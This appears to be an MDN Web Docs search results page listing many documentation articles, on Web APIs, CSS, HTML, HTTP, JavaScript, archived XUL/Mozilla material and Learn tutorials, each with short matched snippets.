..."keyp" kvk_return (0x24) "enter" "enter" kvk_ansi_l (0x25) "keyl" "keyl" kvk_ansi_j (0x26) "keyj" "keyj" kvk_ansi_quote (0x27) "quote" "quote" kvk_ansi_k (0x28) "keyk" "keyk" kvk_ansi_semicolon (0x29) "semicolon" "semicolon" kvk_ansi_backslash (0x2a) "backslash" "backslash" kvk_ansi_comma (0x2b) "comma" "comma" kvk_ansi_slash (0x2c) "slash" "slash" kvk_ansi_n (0x2d) "keyn" "keyn" kvk_ansi_m (0x2e) "keym" "keym" kvk_ansi_period (0x2f) "period" "period" kvk_tab (0x30) "tab" "tab" kvk_space (0x31) "space" "space" kvk_ansi_grave (0x32) "backquote" "backquote" kvk_de...
...And 6 more matches
Sensor APIs - Web APIs
the sensor apis are a set of interfaces built to a common design that expose device sensors in a consistent way to the web platform.
... therefore, feature detection for sensor apis must include both detection of the apis themselves and defensive programming strategies (see below).
...} defensive programming as stated in feature detection, checking for a particular sensor api is insufficient for feature detection.
...And 6 more matches
Signaling and video calling - Web APIs
note: if you try out the example on glitch, please note that any changes made to the code will immediately reset any connections.
... this example's server uses stringified json objects to communicate with its clients.
...every ice candidate describes a method that the sending peer is able to use to communicate.
...And 6 more matches
Rendering and the WebXR frame animation callback - Web APIs
kicking off the renderer thus looks like this: let worldrefspace; async function runxr(xrsession) { worldrefspace = await xrsession.requestreferencespace("immersive-vr"); if (worldrefspace) { viewerrefspace = worldrefspace.getoffsetreferencespace( new xrrigidtransform(viewerstartposition, viewerstartorientation)); animationframerequestid = xrsession.requestanimationframe(mydrawframe); } } after getting a reference space for the immersive world, this creates an offset reference space representing the position and orientation of th...
...120 hz—or 120 frame per second—displays are increasingly common, for example.
...see the webxr performance guide for recommendations and tips that will help you ensure your performance is as good as it can be.
...And 6 more matches
WindowOrWorkerGlobalScope.setTimeout() - Web APIs
this syntax is not recommended for the same reasons that make using eval() a security risk.
...if this parameter is omitted, a value of 0 is used, meaning execute "immediately", or more accurately, the next event cycle.
...function() { vcallback.apply(null, aargs); } : vcallback, ndelay); }; }, 0, 'test'); }()) ie-only fix if you want a completely unobtrusive fix for every other mobile or desktop browser, including ie 9 and below, you can either use javascript conditional comments: /*@cc_on // conditional ie < 9 only fix @if (@_jscript_version <= 9) (function(f){ window.settimeout = f(window.settimeout); window.setinterval = f(window.setinterval); })(function(f){return function(c,t){var a=[].slice.call(arguments,2);return f(function(){c instanceof function?c.apply(this,a):eval(c)},t)}}); @end @*/ ...
...And 6 more matches
ARIA: listbox role - Accessibility
it is highly recommended to use the html select element, or a group of radio buttons if only one item can be selected, or a group of checkboxes if multiple items can be selected, because there is a lot of keyboard interactivity to manage focus for all the descendants, and native html elements provide this functionality for you for free.
...it is recommended that a checkbox, link or other method be used to select all items, and ctrl+a could be used as a shortcut key for this.
...supporting this key is strongly recommended for lists with more than five options.
...And 6 more matches
@import - CSS: Cascading Style Sheets
WebCSS@import
chrome://communicator/skin/).
... list-of-media-queries is a comma-separated list of media queries conditioning the application of the css rules defined in the linked url.
...these conditional imports specify comma-separated media queries after the url.
...And 6 more matches
Using media queries - CSS: Cascading Style Sheets
name summary notes any-hover does any available input mechanism allow the user to hover over elements?
...you can also combine multiple media queries into a single rule by separating them with commas.
...if present in a comma-separated list of queries, it will only negate the specific query to which it is applied.
...And 6 more matches
font-variant - CSS: Cascading Style Sheets
constituent properties this property is a shorthand for the following css properties: font-variant-alternates font-variant-caps font-variant-east-asian font-variant-ligatures font-variant-numeric syntax font-variant: small-caps; font-variant: common-ligatures small-caps; /* global values */ font-variant: inherit; font-variant: initial; font-variant: unset; values normal specifies a normal font face; each of the longhand properties has an initial value of normal.
... <common-lig-values>, <discretionary-lig-values>, <historical-lig-values>, <contextual-alt-values> specifies the keywords related to the font-variant-ligatures longhand property.
... the possible values are: common-ligatures, no-common-ligatures, discretionary-ligatures, no-discretionary-ligatures, historical-ligatures, no-historical-ligatures, contextual, and no-contextual.
...And 6 more matches
<body>: The Document Body element - HTML: Hypertext Markup Language
WebHTMLElementbody
tag omission the start tag may be omitted if the first thing inside it is not a space character, comment, <script> element or <style> element.
... the end tag may be omitted if the <body> element has contents or has a start tag, and is not immediately followed by a comment.
... bottommargin the margin of the bottom of the body.
...And 6 more matches
<input type="file"> - HTML: Hypertext Markup Language
WebHTMLElementinputfile
events change and input supported common attributes required additional attributes accept, capture, files, multiple idl attributes files and value dom interface htmlinputelement properties properties that apply only to elements of type file methods select() value a file input's value attribute contains a domstring that represents the path to the s...
... additional attributes in addition to the common attributes shared by all <input> elements, inputs of type file also support the following attributes: attribute description accept one or more unique file type specifiers describing file types to allow capture what source to use for capturing image or video data files a filelist listing the chosen files multiple a boolean which, i...
...this string is a comma-separated list of unique file type specifiers.
...And 6 more matches
<input type="time"> - HTML: Hypertext Markup Language
WebHTMLElementinputtime
events change and input supported common attributes autocomplete, list, readonly, and step idl attributes value, valueasdate, valueasnumber, and list.
...nt time: </label> <input id="appt-time" type="time" name="appt-time" value="13:30"> you can also get and set the date value in javascript using the htmlinputelement.value property, for example: var timecontrol = document.queryselector('input[type="time"]'); timecontrol.value = '15:30'; time value format the value of the time input is always in 24-hour format that includes leading zeros: hh:mm, regardless of the input format, which is likely to be selected based on the user's locale (or by the user agent).
... if the time includes seconds (see using the step attribute), the format is always hh:mm:ss.
...And 6 more matches
<link>: The External Resource Link element - HTML: Hypertext Markup Language
WebHTMLElementlink
this element is most commonly used to link to stylesheets, but is also used to establish site icons (both "favicon" style icons and icons for the home screen and apps on mobile devices) among other things.
... there are a number of other common types you'll come across.
...the common use of this attribute is to define the type of stylesheet being referenced (such as text/css), but given that css is the only stylesheet language used on the web, not only is it possible to omit the type attribute, but is actually now recommended practice.
...And 6 more matches
Evolution of HTTP - HTTP
a lot of interoperability problems were common.
... in november 1996, in order to solve these annoyances, an informational document describing the common practices has been published, rfc 1945.
... pipelining has been added, allowing to send a second request before the answer for the first one is fully transmitted, lowering the latency of the communication.
...And 6 more matches
An overview of HTTP - HTTP
WebHTTPOverview
clients and servers communicate by exchanging individual messages (as opposed to a stream of data).
... the web server on the opposite side of the communication channel, is the server, which serves the document as requested by the client.
... a server appears as only a single machine virtually: this is because it may actually be a collection of servers, sharing the load (load balancing) or a complex piece of software interrogating other computers (like cache, a db server, or e-commerce servers), totally or partially generating the document on demand.
...And 6 more matches
Closures - JavaScript
in some programming languages, the local variables within a function exist for just the duration of that function's execution.
...this has obvious parallels to object-oriented programming, where objects allow you to associate data (the object's properties) with one or more methods.
... situations where you might want to do this are particularly common on the web.
...And 6 more matches
Object.freeze() - JavaScript
any attempt to do so will fail, either silently or by throwing a typeerror exception (most commonly, but not exclusively, when in strict mode).
...existing properties in objects frozen with object.freeze() are made immutable.
... a[0] = 1; // fails silently // in strict mode such attempt will throw a typeerror function fail() { "use strict" a[0] = 1; } fail(); // attempted to push a.push(2); // throws a typeerror the object being frozen is immutable.
...And 6 more matches
JavaScript
javascript (js) is a lightweight, interpreted, or just-in-time compiled programming language with first-class functions.
...functional programming) styles.
... do not confuse javascript with the java programming language.
...And 6 more matches
Digital audio concepts - Web media technologies
stereo audio is probably the most commonly used channel arrangement in web audio, and 16-bit samples are used for the majority of day-to-day audio in use today.
...at the common sample rate of 48 khz (48,000 samples per second), this means each second of audio occupies 192 kb of memory.
...over the years, a large variety of codecs have been developed, several of which are commonly used on the web.
...And 6 more matches
Index - XSLT: Extensible Stylesheet Language Transformations
WebXSLTIndex
xslt/xpath reference: xslt elements, exslt functions, xpath functions, xpath axes found 54 pages: # page tags and summary 1 xslt: extensible stylesheet language transformations landing, web, xslt extensible stylesheet language transformations (xslt) is an xml-based language used, in conjunction with specialized processing software, for the transformation of xml documents.
... 2 common xslt errors xslt your server needs to send both the source and the stylesheet with a xml mime type, text/xml or application/xml.
... 3 index index, reference, xslt found 54 pages: 4 pi parameters xslt no summary!
...And 6 more matches
ui/frame - Archive of obsolete content
communicating with frames you can exchange messages between the main add-on code and scripts loaded into the frame using an api modeled on window.postmessage().
... you can use this to communicate only with the specific frame instance that generated the event, and not to any frame instance attached to other browser windows.
... you can use this to communicate only with the specific frame instance that generated the event, and not to any frame instance attached to other browser windows.
...And 5 more matches
Release notes - Archive of obsolete content
details github commits made between firefox 34 and firefox 35.
... details github commits made between firefox 33 and firefox 34.
... details github commits made between firefox 32 and firefox 33.
...And 5 more matches
XPCOM Objects - Archive of obsolete content
xpcom is the way in which the two layers (xulrunner and chrome) communicate.
... this._prefservice = cc["@mozilla.org/preferences-service;1"].getservice(ci.nsiprefbranch); this._prefvalue = this._prefservice.getboolpref("somepreferencename"); this._prefservice.queryinterface(ci.nsiprefbranch2); this._prefservice.addobserver("somepreferencename", this, false); this._prefservice.queryinterface(ci.nsiprefbranch); this is a common piece of code you'll see when initializing components or jsm that rely on preferences.
... some commonly used xpcom methods require other xpcom types as parameters.
...And 5 more matches
How to Write and Land Nanojit Patches - Archive of obsolete content
repository: http://hg.mozilla.org/projects/nanojit-central (or clone ssh://hg.mozilla.org/projects/nanojit-central if you want to actually commit changes) tinderbox: http://tinderbox.mozilla.org/showbuilds.cgi?tree=nanojit commit log: http://hg.mozilla.org/projects/nanojit-central/shortlog/ irc channel: irc.mozilla.org #nanojit procedure the first thing to understand is that there are now three copies of nanojit in public mozilla.com repositories: one in nanojit-central, one in tracemonkey, one in tamarin-redux.
...the following files in tracemonkey are from nanojit: everything in js/src/nanojit/ everything in js/src/vprof/ scenario 0: a common prefix for all scenarios make private clones of all three repositories: nanojit-central, tracemonkey and tamarin-redux.
...once it passes review, land it on nanojit-central, mark the bug's whiteboard as fixed-in-nanojit, and note the revision in a comment.
...And 5 more matches
New Security Model for Web Services - Archive of obsolete content
if the sandbox is unable to distinguish the common uri substring of the domain to be trusted from similar uris of untrusted domains, then it could allow a script loaded from an indistinguishable domain to exploit firewall-protected resources.
... using a declarations file a more robust solution is to rely on getting a file named "web-scripts-access.xml" in the root directory of the server that the sandboxed script requests to communicate with.
...since the commands only allow access, the order of processing the "allow" commands that were successfully parsed is never significant.
...And 5 more matches
New Skin Notes - Archive of obsolete content
the major problem it caused in cavendish skin - that they were out of the screen - is solved by making the sidebar smaller, which is not the right thing to do, imo (see my comment 1).--nickolay 02:11, 25 aug 2005 (pdt) yeah this is actually a problem with mw, rather than the skin -- they use a <br style="clear:both" /> in some pretty annoying places.
...--dria yeah, i think we want them off by default, as the more common case for a reader will be to read documentation, not to edit it.
...--mmondor 12:25, 26 aug 2005 (pdt) what pages can you not find a logout link from, i see it on nearly all devmo wiki pages in the "upper right: along with "my talk" "preferences" etc.
...And 5 more matches
XML in Mozilla - Archive of obsolete content
several world wide web consortium (w3c) recommendations and drafts from the xml family of specifications are supported, as well as other related technologies.
... supported core xml w3c recommendations the core xml support includes parsing xml without validation (we use the expat parser), displaying xml with css, manipulating xml documents with scripts via dom, associating stylesheets with xml documents, and namespaces in xml.
...other notes a lot of the document object model (dom, w3c recommendations and drafts) applies to xml.
...And 5 more matches
Creating XPI Installer Modules - Archive of obsolete content
chrome/ us/ us.jar chatzilla/ chatzilla.jar chrome.rdf chromelist.txt classic/ classic.jar comm/ comm.jar content-packs/ content-packs.jar embed-sample/ embed-sample.jar en-us/ en-us.jar en-mac/ en-mac.jar en-unix/ en-unix.jar en-win/ en-win.jar help/ help.jar inspector/ inspector.jar installed-chrome.txt messenger/ messenger.jar ...
...ingle manifest.rdf file described the resources in an entire package directory or archive, now contents.rdf files can be used for as large or as small a part of your package description as you want; you can use several contents.rdf files in your package to describe the various parts (e.g., one for the skin of your package, another for the content, and so on), or you can use a single one, as was common before.
...the barley package ui is a single xul window with an accompanying image: <?xml version="1.0"?> <?xml-stylesheet href="chrome://communicator/skin/" type="text/css"?> <window title="barley window" xmlns:html="http://www.w3.org/1999/xhtml" xmlns="http://www.mozilla.org/keymaster/gat...re.is.only.xul" width="175" height="375" x="20" y="20" persist="width height x y" orient="vertical" autostretch="always"> <script src="barley.js"/> <image src="barley.gif" /> <box orient="horizontal" autostretch="never"> ...
...And 5 more matches
Document Object Model - Archive of obsolete content
since it is one of the most commonly referenced properties of the window, the document property is usually referenced without the 'window.' qualifier.
... retrieving elements the most common method to retrieve an element in a document is to give the element an id attribute and the use the document's getelementbyid() method.
... our find files example it doesn't make sense to have the progress bar and the dummy tree data displayed when the find files dialog is first displayed.
...And 5 more matches
The Implementation of the Application Object Model - Archive of obsolete content
if xul is dropped from the picture, then dialogs would have to be described using native widgetry (unless you're willing to design an html dialog system, which still wouldn't cut it without extending html), and communicator would have to ship with both widget sets.
...however, in this xpcom world, where each type of pluggable content is off in its own dll, there's no clean way to inherit functionality from some base class implementation, when that implementation must necessarily reside in a different dll, without introducing a code dependency between all pluggable content and the common base class.
... this inability to provide a cleanly inherited system argues for a different approach, namely that all content node implementations be the same kind of object, and that those objects communicate with their pluggable content through this new streamlined interface we talked about earlier.
...And 5 more matches
tab - Archive of obsolete content
ArchiveMozillaXULtab
attributes accesskey, afterselected, beforeselected, command, crop, disabled, first-tab, image, label, last-tab, linkedpanel, oncommand, pending, pinned, selected, tabindex, unread, validate, value properties accesskey, accessibletype, command, control, crop, disabled, image, label, linkedpanel, selected, tabindex, value examples (example needed) attributes accesskey type: character this should be set to a character that is used as a shortcut key.
... afterselected type: boolean this is set to true if the tab is immediately after the currently selected tab.
... beforeselected type: boolean this is set to true if the tab is immediately before the currently selected tab.
...And 5 more matches
toolbarbutton - Archive of obsolete content
attributes accesskey, autocheck, checkstate, checked, command, crop, dir, disabled, dlgtype, group, image, label, oncommand, open, orient, tabindex, title, type, validate properties accesskey, accessibletype, autocheck, checkstate, checked, command, crop, dir, disabled, dlgtype, group, image, label, open, orient, tabindex, type examples <toolbar id="test-toolbar"> <toolbarbutton accesskey="p" label="plain"/> <toolbarbutton accesskey="c"...
... command type: id set to the id of a command element that is being observed by the element.
...if the element is disabled, it does not respond to user actions, it cannot be focused, and the command event will not fire.
...And 5 more matches
MacFAQ - Archive of obsolete content
to do this, type: xulrunner-bin --install-app /path/to/appdir note the path to your application must end with the directory containing application.ini; you should not reference application.ini in this command.
... this command will place a copy of your application in /applications/(vendor)/(name) , where (vendor) is the vendor field in your application.ini and (name) is the name field.
...for command-line work, you would call on: /applications/(vendor)/(name).app/contents/macos/xulrunner ui notes menus to enable your application quit command to work with the application menu (the one to the right of the blue apple), you need to give your quit menu item an id of "menu_filequititem".
...And 5 more matches
XULRunner tips - Archive of obsolete content
venkman uses "chrome://communicator/skin/" as an alias for "chrome://global/skin/" and this alias was maintained in the xulrunner toolkit until xulrunner 1.9 was released.
... when using xulrunner 1.9 or greater, you can create your own alias in your chrome manifest add a "skin" line: skin communicator classic/1.0 skin/communicator/ add a skin folder named "communicator" and add a single css file named "communicator.css" with this content: @import url("chrome://global/skin"); dom inspector to add dom inspector 2.0.* to your xulrunner 1.9.0.* application follow these steps: download the dom inspector (instead of clicking the "add to..." button, right-click and select "save link as...").
...s=no locale inspector en-us jar:inspector.jar!/locale/inspector/ skin inspector modern/1.0 jar:inspector.jar!/skin/modern/inspector/ skin inspector classic/1.0 jar:inspector.jar!/skin/classic/inspector/ overlay chrome://inspector/content/popupoverlay.xul chrome://inspector/content/viewers/dom/popupoverlay.xul overlay chrome://inspector/content/commandoverlay.xul chrome://inspector/content/viewers/stylerules/commandoverlay.xul overlay chrome://inspector/content/keysetoverlay.xul chrome://inspector/content/viewers/dom/keysetoverlay.xul overlay chrome://inspector/content/popupoverlay.xul chrome://inspector/content/viewers/stylerules/popupoverlay.xul overlay chrome://inspector/content/commandoverlay.xul chrome://inspector/content/viewers/...
...And 5 more matches
What is RSS - Archive of obsolete content
you will not yet be creating your own rss files, but you will be seeing how rss is commonly used and simple example rss files for these common uses.
...(although rdf-based rss formats exist, namely the deprecated rss 0.90 and rss 1.0.) common uses of rss syndication are for the syndication of news web sites, of blogs, of internet radio, and of internet television.
...it wasn't really a format for syndication, but was a format for providing a summary of a website.
...And 5 more matches
Theme changes in Firefox 2 - Archive of obsolete content
file description of change browser/bookmarks/addbookmark.css updated to include microsummary-related css changes.
... browser/bookmarks/bookmarksproperties.css new file; includes microsummary-related css.
... browser/browser.css needs to be updated to include new css for microsummaries, search fields, iconic bookmark menu items, and more.
...And 5 more matches
Browser Feature Detection - Archive of obsolete content
among the methods of browser detection, many people recommend using the existence of specific properties or methods in a browser's dom to detect the browser type and whether it supports a given operation.
... test summary standard netscape 7.0x firefox 1.5 safari 2 opera 7 / 8.5-9.0 internet explorer 6 / 7 dom core 1 100% 100% 100% 75% / 91% 75% / 75% dom core 2 100% 100% 100% 70% / 94% 58% / 58% dom 1 html 100% 100% 100% 100% / 100% 100% / 100% dom css 1 100% 100% 100% 100% / 100% 96% / ...
...& 7 opera 8.54 - 9.01 document.doctype true true true document.implementation true true true document.documentelement true true true document.createelement() true true true document.createdocumentfragment() true true true document.createtextnode() true true true document.createcomment() true true true document.createcdatasection() true false true document.createprocessinginstruction() true false true document.createattribute() true true true document.createentityreference()obsolete since gecko 7 (method present but only returns null: bug 9850) false false document.getelementsbytagname(...
...And 5 more matches
LiveConnect Overview - Archive of obsolete content
this chapter describes using liveconnect technology to let java and javascript code communicate with each other.
... the chapter assumes you are familiar with java programming.
...when programming in javascript, you can use a wrapper object to access methods and fields of the java object; calling a method or accessing a property on the wrapper results in a call on the java object.
...And 5 more matches
Examples - Archive of obsolete content
</p> </body> </html> back to the article problem 2 <!-- this file should have a .xhtml extension --> <!doctype html public "-//w3c//dtd xhtml 1.0 strict//en" "http://www.w3.org/tr/xhtml1/dtd/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" lang="en-us" xml:lang="en-us"> <head> <title>problem 2 - comments in xhtml</title> <meta http-equiv="content-type" content="application/xhtml+xml; charset=utf-8" /> <style type="text/css"> <!-- body {background-color: blue; color: yellow; } --> </style> <script type="text/javascript"> <!-- var i = 0; var sum = 0; for (i = 0; i < 10; ++i) { sum += i; } alert('sum = ' + sum); // --> </script> </head> <body> ...
...<h1>problem 2 - comments in xhtml</h1> <p> this document is valid xhtml 1.0 strict served as <code>application/xhtml+xml</code>.
... </p> <p> this document contains inline css rules contained in a <code>style</code> element and surrounded by a comment and javascript contained in a <code>script</code> element and surrounded by a comment.
...And 5 more matches
Writing JavaScript for XHTML - Archive of obsolete content
the code looks something like this: <script type="text/javascript"> //<!-- window.alert("hello world!"); //--> </script> solution: the cdata trick this problem usually arises, when inline scripts are included in comments.
... this was common practice in html, to hide the scripts from browsers not capable of js.
... in the age of xml comments are what they were intended: comments.
...And 5 more matches
Choosing Standards Compliance Over Proprietary Practices - Archive of obsolete content
following standards is certainly not a new organizational phenomenon; organizations require their employees to follow common rules, or a common set of standards all the time.
... common development process as an organization matures, managers and engineers develop a fundamental understanding of the importance of requiring adherence to these processes.
...for example, if an organization is developing a web-based client, they may have to adhere to standards imposed by these organizations: ansi (american national standards institute ) atsc (advanced television systems committee ) ieee (institute of electrical and electronics engineers ) ietf (internet engineering task force ) irtf (internet research task force ) iso (international standards organization ) itu (international telecommunication union ) oasis (organization for the advancement of structured information standards ) oma (open mobile alliance ), uni (unicode consortium ) w3c (world wide web consor...
...And 5 more matches
RDF in Mozilla FAQ - Archive of obsolete content
make sure that your web server // dishes it up as text/xml (recommended) or text/rdf!
... var ds = rdf.getdatasource("http://www.mozilla.org/some-rdf-file.rdf"); // note that ds will load asynchronously, so assertions will not // be immediately available alternatively, you can create one directly using the xpcom component manager, as the following code fragment illustrates: // create an rdf/xml datasource using the xpcom component manager var ds = components .classes["@mozilla.org/rdf/datasource;1?name=xml-datasource"] .createinstance(components.interfaces.nsirdfdatasource); // the nsirdfremotedatasource interface has the interfaces // that we need to setup the datasource.
... var remote = ds.queryinterface(components.interfaces.nsirdfremotedatasource); // be sure that your web server will deliver this as text/xml (recommended) or text/rdf!
...And 5 more matches
Game promotion - Game development
competitions taking part in competitions will not only level up your gamedev skills and let you meet new devs to befriend and learn from — and it will also get you involved in the community.
...continually publishing information about your games will help educate others, increase your reputation in the community, and further improve seo.
... a further option is to publish monthly reports that summarize all your progress — it helps you see what you've accomplished throughout the month and what's still left to do, and it keeps reminding people that your game is coming out soon — building buzz is always good.
...And 5 more matches
Audio for Web games - Game development
also note that playing and immediately pausing your audio does not guarantee that a small piece of audio won't be played.
... volume programmatic volume control may be disabled in mobile browsers.
...however, preloading is still useful — without it, there would always need to be some client-server communication required before playing can commence.
...And 5 more matches
HTML: A good basis for accessibility - Learn web development
— you'll keep seeing a common theme: the importance of using semantic html (sometimes called posh, or plain old semantic html).
... ui controls by ui controls, we mean the main parts of web documents that users interact with — most commonly buttons, links, and form controls.
...for example, you sometimes see buttons marked up using <div>s, for example: <div data-message="this is from the first button">click me!</div> <div data-message="this is from the second button">click me too!</div> <div data-message="this is from the third button">and me!</div> but using such code is not advised — you immediately lose the native keyboard accessibility you would have had if you'd just used <button> elements, plus you don't get any of the default css styling that buttons get.
...And 5 more matches
HTML: A good basis for accessibility - Learn web development
— you'll keep seeing a common theme: the importance of using semantic html (sometimes called posh, or plain old semantic html).
... ui controls by ui controls, we mean the main parts of web documents that users interact with — most commonly buttons, links, and form controls.
...for example, you sometimes see buttons marked up using <div>s, for example: <div data-message="this is from the first button">click me!</div> <div data-message="this is from the second button">click me too!</div> <div data-message="this is from the third button">and me!</div> but using such code is not advised — you immediately lose the native keyboard accessibility you would have had if you'd just used <button> elements, plus you don't get any of the default css styling that buttons get.
...And 5 more matches
How to structure a web form - Learn web development
don't test the example with 2 or 3 of the versions uncommented — screenreaders will definitely get confused if you have multiple labels and multiple inputs with the same id!
... common html structures used with forms beyond the structures specific to web forms, it's good to remember that form markup is just html.
... as you can see in the examples, it's common practice to wrap a label and its widget with a <li> element within a <ul> or <ol> list.
...And 5 more matches
Debugging HTML - Learn web development
debugging doesn't have to be scary though — the key to being comfortable with writing and debugging any programming language or code is familiarity with both the language and the tools.
...and html's element syntax is arguably a lot easier to understand than a "real programming language" like rust, javascript, or python.
... the way that browsers parse html is a lot more permissive than how programming languages are run, which is both a good and a bad thing.
...And 5 more matches
From object to iframe — other embedding technologies - Learn web development
active learning: classic embedding uses in this article we are going to jump straight into an active learning section, to immediately give you a real idea of just what embedding technologies are useful for.
...this is great for incorporating third-party content into your website that you might not have direct control over and don't want to have to implement your own version of — such as video from online video providers, commenting systems like disqus, maps from online map providers, advertising banners, etc.
...using this isn't really recommended any more, as the same effect can be better achieved using border: none; in your css.
...And 5 more matches
HTML table advanced features and accessibility - Learn web development
previous overview: tables next in the second article in this module, we look at some more advanced features of html tables — such as captions/summaries and grouping your rows into table head, body and footer sections — as well as looking at the accessibility of tables for visually impaired users.
... note: the summary attribute can also be used on the <table> element to provide a description — this is also read out by screenreaders.
... we'd recommend using the <caption> element instead, however, as summary is deprecated by the html5 spec, and can't be read by sighted users (it doesn't appear on the page.) active learning: adding a caption let's try this out, revisiting an example we first met in the previous article.
...And 5 more matches
Making decisions in your code — conditionals - Learn web development
overview: building blocks next in any programming language, the code needs to make decisions and carry out actions accordingly depending on different inputs.
... us to represent such decision making in javascript, from the choice that must be made (for example, "one cookie or two"), to the resulting outcome of those choices (perhaps the outcome of "ate one cookie" might be "still felt hungry", and the outcome of "ate two cookies" might be "felt full, but mom scolded me for eating all the cookies".) if...else statements let's look at by far the most common type of conditional statement you'll use in javascript — the humble if...else statement.
... as a final point, you may sometimes see if...else statements written without the curly braces, in the following shorthand style: if (condition) code to run if condition is true else run some other code instead this is perfectly valid code, but using it is not recommended — it is much easier to read the code and work out what is going on if you use the curly braces to delimit the blocks of code, and use multiple lines and indentation.
...And 5 more matches
Manipulating documents - Learn web development
previous overview: client-side web apis next when writing web pages and apps, one of the most common things you'll want to do is manipulate the document structure in some way.
... objective: to gain familiarity with the core dom apis, and the other apis commonly associated with dom and document manipulation the important parts of a web browser web browsers are very complicated pieces of software with a lot of moving parts, many of which can't be controlled or manipulated by a web developer using javascript.
...this is a "tree structure" representation created by the browser that enables the html structure to be easily accessed by programming languages — for example the browser itself uses it to apply styling and other information to the correct elements as it renders a page, and developers like you can manipulate the dom with javascript after the page has been rendered.
...And 5 more matches
Client-side web APIs - Learn web development
when writing client-side javascript for web sites or applications, you will quickly encounter application programming interfaces (apis).
... apis are programming features for manipulating different aspects of the browser and operating system the site is running on, or manipulating data from other web sites or services.
... in this module, we will explore what apis are, and how to use some of the most common apis you'll come across often in your development work.
...And 5 more matches
Object-oriented JavaScript for beginners - Learn web development
previous overview: objects next with the basics out of the way, we'll now focus on object-oriented javascript (oojs) — this article presents a basic view of object-oriented programming (oop) theory, then explores how javascript emulates object classes via constructor functions, and how to create object instances.
... objective: to understand the basic theory behind object-oriented programming, how this relates to javascript ("everything is an object"), and how to create constructors and object instances.
... object-oriented programming — the basics to start with, let's give you a simplistic, high-level view of what object-oriented programming (oop) is.
...And 5 more matches
Ember interactivity: Events, classes and state - Learn web development
prerequisites: at minimum, it is recommended that you are familiar with the core html, css, and javascript languages, and have knowledge of the terminal/command line.
... to create a header class to go with your header component, type this in to your terminal: ember generate component-class header this will create the following empty class file — todomvc/app/components/header.js: import component from '@glimmer/component'; export default class headercomponent extends component { } inside this file we will implement the event handler code.
... update the content to the following: import component from '@glimmer/component'; import { action } from '@ember/object'; export default class headercomponent extends component { @action onkeydown({ target, key }) { let text = target.value.trim(); let hasvalue = boolean(text); if (key === 'enter' && hasvalue) { alert(text); target.value = '' } } } the @action decorator is the only ember-specific code here (aside from extending from the component superclass, and the ember-specific items we are importing using javascript module syntax) — the rest of the file is vanilla javascript, and would work in any application.
...And 5 more matches
Componentizing our Svelte app - Learn web development
prerequisites: at minimum, it is recommended that you are familiar with the core html, css, and javascript languages, and have knowledge of the terminal/command line.
... eventually, we will split up our app into the following components: alert.svelte: a general notification box for communicating actions that have occurred.
... note: in the process of creating our first couple of components, we will also learn different techniques to communicate between components, and the pros and cons of each.
...And 5 more matches
Getting started with Svelte - Learn web development
prerequisites: at minimum, it is recommended that you are familiar with the core html, css, and javascript languages, and have knowledge of the terminal/command line.
...it's recommended that you use the long-term support (lts) version.
... if you're using windows, you will need to install some software to give you parity with unix/macos terminal in order to use the terminal commands mentioned in this tutorial.
...And 5 more matches
Working with Svelte stores - Learn web development
prerequisites: at minimum, it is recommended that you are familiar with the core html, css, and javascript languages, and have knowledge of the terminal/command line.
... repl to code along with us using the repl, start at https://svelte.dev/repl/d1fa84a5a4494366b179c87395940039?version=3.23.2 dealing with our app state we have already seen how our components can communicate with each other using props, two-way data binding, and events.
... in all these cases we were dealing with communication between parent and child components.
...And 5 more matches
Accessibility API cross-reference
the ipc mechanisms used by current generation api's are also not cross-platform, although communication for some cross-platform accessibility api of the future could be done through sockets.
... command a supporting section of the document, designed to be complementary to the main content at a similar level in the dom hierarchy, but remains meaningful when separated from the main content.
...<h> is also available but its use is not recommended because of lack of suitable tools - and the heading level is undefined click on this thing and then click on the item for tooltip style help helpballoon n/a n/a n/a editable field that allows user to assign a key combination hotkeyfield n/a n/a n/a graphic that indicates something, such as an arrow indi...
...And 5 more matches
CSUN Firefox Materials
because firefox rethinks the web, and does away with many of the common annoyances that cause browsing to be difficult for ordinary people.
...in fact, the same keyboard commands are still available, so users can become comfortable and productive right away.
...a "smart keywords" feature enhances this even further by allowing custom searches from the command line such as "word punditry" to look up the word "punditry" in an online dictionary.
...And 5 more matches
Mozilla’s UAAG evaluation report
this document is based on the september 12, 2001 candidate recommendation of uaag 1.0.
... acronym element: supported abbr element: supported abbr attribute for td/th: not supported summary for table: supported title for frame: ?
... acronym element: supported abbr element: supported abbr attribute for td/th: not supported summary for table: supported title for frame: ?
...And 5 more matches
Simple Sunbird build
you can build a bleeding-edge, development version of sunbird using the commands below.
...run these commands to install the other build tools: sudo port sync sudo port install mercurial libidl autoconf213 problems?
... on windows, if you open the command prompt you are usually in your user profile folder which often contains spaces ( c:\documents and settings\...).
...And 5 more matches
Embedding the editor
this type of embedding requires that the composer code is agnostic to where its ui is coming from; communication between the core editor and the ui needs to go through one or more interfaces that insulate the editor from its host application.
...thence, lots of javascript in editor.js, composercommands.js and the various dialog js files assume that they can get at the one true editor via window.editorshell.
...editor needs to call through one or more interfaces when communicating with the ui.
...And 5 more matches
Examples
nts.utils.import("resource://gre/modules/promise.jsm"); var mypromise = myuserdefinedpromise(); mypromise.then( function(asuccessreason) { alert('mypromise was succesful and reason was = "' + asuccessreason + '"'); }, function(arejectreason) { alert('mypromise failed for reason = "' + uneval(arejectreason) + '"'); } ); function myuserdefinedpromise() { try { //var myvariscommented = 'hi'; // i commented this out s oit is undefined, this will cause rejected alert(myvariscommented); return promise.resolve('yay success'); // this makes the success function trigger with asuccessreason being 'yay success' but because i commented out the var 2 lines above, it will error out on the alert(myvariscommented) and never get to this success line.
... uncommet the var 2 lines above to see the promise succesfully return } catch(ex) { return promise.reject(ex); } } copy and paste this code and the rejection will take place.
... uncomment the line `//var myvariscommented.....` and the promise will complete succesfully.
...And 5 more matches
gettext
$message); } else { return _($message); } } // new gettext keyword for plural strings with optional context argument function n___($message, $message_plural, $num, $context ="") { if($context != "") { return npgettext($context, $message, $message_plural, $num); } else { return ngettext($message, $message_plural, $num); } } // l10n: this is a block comment one line directly above the gettext function call.
...echo ___('a simple string.'); echo /* l10n: this is an inline comment.
...*/ ___('a string with context.', 'unique context string'); $num = 1; // l10n: this is another block comment that will be extracted by xgettext.
...And 5 more matches
Research and prep
productization is the process of determining a user's choice of default search engines, content and protocol handlers (rss readers, web mail and web calendar), bookmarks, and links to recommended sites on the in-product pages as it relates to their locale.
...we believe that localization teams are in the best position to provide recommendations on what local providers we can use for web services because you're in the market, work in the language, and know your users.
... this is, therefore, meant to be a guideline for how you should be formulating your recommendations.
